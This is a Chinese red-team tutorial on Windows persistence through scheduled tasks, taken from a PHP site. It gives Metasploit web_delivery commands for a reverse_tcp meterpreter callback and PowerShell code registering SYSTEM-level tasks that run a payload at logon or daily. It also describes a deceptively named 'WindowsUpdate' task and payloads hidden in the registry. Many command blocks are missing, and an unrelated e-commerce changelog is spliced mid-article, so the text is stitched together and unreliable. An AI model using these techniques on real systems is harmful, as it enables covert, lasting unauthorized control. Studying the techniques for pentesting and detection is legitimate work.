在 windows 系统上,可以使用计划任务来定时执行某些操作,方便用户对系统的使用和管理,红队成员也可以利用这个特性来对系统进行持久化的控制。
创建计划任务可以本地或者远程操作,也可以作为远程执行命令的一种方式,老版本的 Windows 系统可以用 at 命令创建,新系统内逐渐替换为 schtask 命令。
首先使用 Metasplit 的 web_delivery 模块生成一个有效 payload:
代码语言:javascript代码运行次数:0运行复制<pre class="brush:php;toolbar:false;">use exploit/multi/script/web_deliveryset payload windows/x64/meterpreter/reverse_tcpset LHOST 10.0.2.21set target 5exploit
在 cmd 下执行 schtask 来创建计划任务,在用户登录系统时,执行生成好的 Powershell 的 padyload:

当用户登录时,payload 执行后,meterpreter 得到一个会话:

也可以在空闲时间进行执行,命令如下:
除了可以定时执行外,还可以设置过期时间和自我删除功能:

如果目标系统启用了事件日志记录,可以选择在特定的事件上触发任务,可以使用 wevtutil 查询事件 ID:

然后创建一个调度任务,当关联的事件 ID 出现时,触发任务执行:

使用 Query 参数可以查看创建的任务计划:

当管理员登出系统时,触发任务执行:

也可以使用 Powershell 来创建计划任务:
代码语言:javascript代码运行次数:0运行复制<pre class="brush:php;toolbar:false;">$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\pentestlab.exe"$T = New-ScheduledTaskTrigger -AtLogOn -User "pentestlab"$S = New-ScheduledTaskSettingsSet$P = New-ScheduledTaskPrincipal "Pentestlab"$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $SRegister-ScheduledTask Pentestlab -InputObjec $D $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\pentestlab.exe"$T = New-ScheduledTaskTrigger -Daily -At 9am$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest$S = New-ScheduledTaskSettingsSet$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $SRegister-ScheduledTask PentestLaboratories -InputObject $D

这是个二进制文件,需要管理员权限运行,下载地址:
云EC电商系统(简称云EC)是由佛山市云迈电子商务有限公司自主开发的一套免费、开源的基于PHP+MYSQL电商系统软件。 云EC电商系统 1.2.1 更新日志:2018-08-10 1.修复部分环境下二维码不显示的问题; 2.商品列表增加多属性筛选支持; 3.修复更新优惠券状态时错将已使用的优惠券也更新为过期; 4.修复文章发布远程图片下载失败; 5.修复某些情况下运费计算出错导致
2595
使用下面的命令在管理员登录的时候执行 payload:

在目标系统重启之后执行 payload,获得会话:

SharPersist 还可以列出指定的计划任务来获得相关信息:

或者列出全部的计划任务信息:

SharPersist 也可以检查任务是否执行成功的功能:

列出登录时执行的所有计划任务,可以用于排查恶意软件添加的计划任务:

使用 schtaskbackdoor 和 check 功能结合,可以识别指定的计划任务是否为后门:

使用 add 参数可以执行恶意命令的现有计划任务:

使用下面的命令创建每天凌晨 03:22 执行基于 PowerShell 的 payload,任务名称为 "WindowsUpdate" 用来迷惑用户:

Payload 会以 base64 编码的格式保存在注册表中,还有个模块可以在用户登录期间执行 Payload:

文章来源:
以上就是利用计划任务维持系统权限的详细内容,更多请关注php中文网其它相关文章!
每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号